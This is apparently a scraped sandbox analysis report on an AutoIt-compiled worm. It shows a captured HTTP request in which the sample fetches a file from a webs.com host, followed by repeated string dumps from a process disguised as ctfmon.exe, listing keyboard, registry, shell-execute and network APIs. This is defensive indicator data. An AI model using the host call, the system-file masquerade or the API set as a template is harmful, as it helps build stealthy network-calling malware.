IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:37 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
Map
The Worm connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_644:
.text
.text
`.rdata
`.rdata
@.data
@.data
bkav.plp2
bkav.plp2
.rsrc
.rsrc
s%j.Zf
s%j.Zf
tGHt.Ht&
tGHt.Ht&
tCPh
tCPh
SSSSh
SSSSh
\$%u#Sj
\$%u#Sj
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
uxtheme.dll
kernel32.dll
kernel32.dll
operand of unlimited repeat could match the empty string
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
erroffset passed as NULL
erroffset passed as NULL
POSIX collating elements are not supported
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
(*VERB) with an argument is not supported
ICMP.DLL
ICMP.DLL
advapi32.dll
advapi32.dll
RegDeleteKeyExW
RegDeleteKeyExW
WSOCK32.dll
WSOCK32.dll
VERSION.dll
VERSION.dll
WINMM.dll
WINMM.dll
COMCTL32.dll
COMCTL32.dll
MPR.dll
MPR.dll
InternetCrackUrlW
InternetCrackUrlW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
HttpOpenRequestW
HttpSendRequestW
HttpSendRequestW
FtpOpenFileW
FtpOpenFileW
FtpGetFileSize
FtpGetFileSize
InternetOpenUrlW
InternetOpenUrlW
WININET.dll
WININET.dll
PSAPI.DLL
PSAPI.DLL
USERENV.dll
USERENV.dll
GetProcessHeap
GetProcessHeap
CreatePipe
CreatePipe
GetWindowsDirectoryW
GetWindowsDirectoryW
KERNEL32.dll
KERNEL32.dll
OpenWindowStationW
OpenWindowStationW
SetProcessWindowStation
SetProcessWindowStation
CloseWindowStation
CloseWindowStation
MapVirtualKeyW
MapVirtualKeyW
EnumChildWindows
EnumChildWindows
EnumWindows
EnumWindows
VkKeyScanW
VkKeyScanW
GetKeyState
GetKeyState
GetKeyboardState
GetKeyboardState
SetKeyboardState
SetKeyboardState
GetAsyncKeyState
GetAsyncKeyState
keybd_event
keybd_event
EnumThreadWindows
EnumThreadWindows
ExitWindowsEx
ExitWindowsEx
UnregisterHotKey
UnregisterHotKey
RegisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
GetKeyboardLayoutNameW
USER32.dll
USER32.dll
SetViewportOrgEx
SetViewportOrgEx
GDI32.dll
GDI32.dll
COMDLG32.dll
COMDLG32.dll
RegOpenKeyExW
RegOpenKeyExW
RegCloseKey
RegCloseKey
RegEnumKeyExW
RegEnumKeyExW
RegCreateKeyExW
RegCreateKeyExW
RegDeleteKeyW
RegDeleteKeyW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteW
SHFileOperationW
SHFileOperationW
ShellExecuteExW
ShellExecuteExW
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
zcÁ
zcÁ
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>
mscoree.dll
mscoree.dll
KERNEL32.DLL
KERNEL32.DLL
>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> %s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 6, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>c:\%original file name%.exe</pre><pre>:C:\%original file name%.exe</pre><pre>1, 0, 0, 1</pre><b> ctfmon.exe_332:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>s%j.Zf</pre><pre>tGHt.Ht&</pre><pre>tCPh</pre><pre>SSSSh</pre><pre>\$%u#Sj</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>operator</pre><pre>This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.</pre><pre>uxtheme.dll</pre><pre>kernel32.dll</pre><pre>operand of unlimited repeat could match the empty string</pre><pre>POSIX named classes are supported only within a class</pre><pre>erroffset passed as NULL</pre><pre>POSIX collating elements are not supported</pre><pre>this version of PCRE is not compiled with PCRE_UTF8 support</pre><pre>PCRE does not support \L, \l, \N, \U, or \u</pre><pre>support for \P, \p, and \X has not been compiled</pre><pre>(*VERB) with an argument is not supported</pre><pre>ICMP.DLL</pre><pre>advapi32.dll</pre><pre>RegDeleteKeyExW</pre><pre>WSOCK32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>COMCTL32.dll</pre><pre>MPR.dll</pre><pre>InternetCrackUrlW</pre><pre>HttpQueryInfoW</pre><pre>HttpOpenRequestW</pre><pre>HttpSendRequestW</pre><pre>FtpOpenFileW</pre><pre>FtpGetFileSize</pre><pre>InternetOpenUrlW</pre><pre>WININET.dll</pre><pre>PSAPI.DLL</pre><pre>USERENV.dll</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>GetWindowsDirectoryW</pre><pre>KERNEL32.dll</pre><pre>OpenWindowStationW</pre><pre>SetProcessWindowStation</pre><pre>CloseWindowStation</pre><pre>MapVirtualKeyW</pre><pre>EnumChildWindows</pre><pre>EnumWindows</pre><pre>VkKeyScanW</pre><pre>GetKeyState</pre><pre>GetKeyboardState</pre><pre>SetKeyboardState</pre><pre>GetAsyncKeyState</pre><pre>keybd_event</pre><pre>EnumThreadWindows</pre><pre>ExitWindowsEx</pre><pre>UnregisterHotKey</pre><pre>RegisterHotKey</pre><pre>GetKeyboardLayoutNameW</pre><pre>USER32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>COMDLG32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyExW</pre><pre>RegCreateKeyExW</pre><pre>RegDeleteKeyW</pre><pre>ADVAPI32.dll</pre><pre>ShellExecuteW</pre><pre>SHFileOperationW</pre><pre>ShellExecuteExW</pre><pre>SHELL32.dll</pre><pre>ole32.dll</pre><pre>OLEAUT32.dll</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>zcÁ</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity></pre><pre>mscoree.dll</pre><pre>KERNEL32.DLL</pre><pre>>>>AUTOIT NO CMDEXECUTE<<<</pre><pre>CMDLINERAW</pre><pre>CMDLINE</pre><pre>/AutoIt3ExecuteLine</pre><pre>/AutoIt3ExecuteScript</pre><pre>%s (%d) : ==> %s.:</pre><pre>Line %d:</pre><pre>Line %d (File "%s"):</pre><pre>%s (%d) : ==> %s:</pre><pre>AutoIt script files (*.au3, *.a3x)</pre><pre>*.au3;*.a3x</pre><pre>All files (*.*)</pre><pre>#NoAutoIt3Execute</pre><pre>APPSKEY</pre><pre>04090000</pre><pre>%u.%u.%u.%u</pre><pre>0.0.0.0</pre><pre>Mddddd</pre><pre>%s (%d) : ==> %s:</pre><pre>UDPSTARTUP</pre><pre>UDPSHUTDOWN</pre><pre>UDPSEND</pre><pre>UDPRECV</pre><pre>UDPOPEN</pre><pre>UDPCLOSESOCKET</pre><pre>UDPBIND</pre><pre>TRAYGETMSG</pre><pre>TCPSTARTUP</pre><pre>TCPSHUTDOWN</pre><pre>TCPSEND</pre><pre>TCPRECV</pre><pre>TCPNAMETOIP</pre><pre>TCPLISTEN</pre><pre>TCPCONNECT</pre><pre>TCPCLOSESOCKET</pre><pre>TCPACCEPT</pre><pre>SHELLEXECUTEWAIT</pre><pre>SHELLEXECUTE</pre><pre>REGENUMKEY</pre><pre>MSGBOX</pre><pre>ISKEYWORD</pre><pre>HTTPSETUSERAGENT</pre><pre>HTTPSETPROXY</pre><pre>HOTKEYSET</pre><pre>GUIREGISTERMSG</pre><pre>GUIGETMSG</pre><pre>GUICTRLSENDMSG</pre><pre>GUICTRLRECVMSG</pre><pre>FTPSETPROXY</pre><pre>\??\%s</pre><pre>GUI_RUNDEFMSG</pre><pre>SendKeyDelay</pre><pre>SendKeyDownDelay</pre><pre>TCPTimeout</pre><pre>AUTOITCALLVARIABLE%d</pre><pre>255.255.255.255</pre><pre>Keyword</pre><pre>AutoIt.Error</pre><pre>Null Object assignment in FOR..IN loop</pre><pre>Incorrect Object type in FOR..IN loop</pre><pre>HOTKEYPRESSED</pre><pre>AUTOITEXE</pre><pre>WINDOWSDIR</pre><pre>3, 3, 6, 1</pre><pre>HKEY_LOCAL_MACHINE</pre><pre>HKEY_CLASSES_ROOT</pre><pre>HKEY_CURRENT_CONFIG</pre><pre>HKEY_CURRENT_USER</pre><pre>HKEY_USERS</pre><pre>%d/d/d</pre><pre>%System%\</pre><pre>ctfmon.exe</pre><pre>:%System%\</pre><pre>5.1.2600.5512 (xpsp.080413-2105)</pre><pre>CTFMON.EXE</pre><pre>Windows</pre><pre>Operating System</pre><pre>5.1.2600.5512</pre></pre>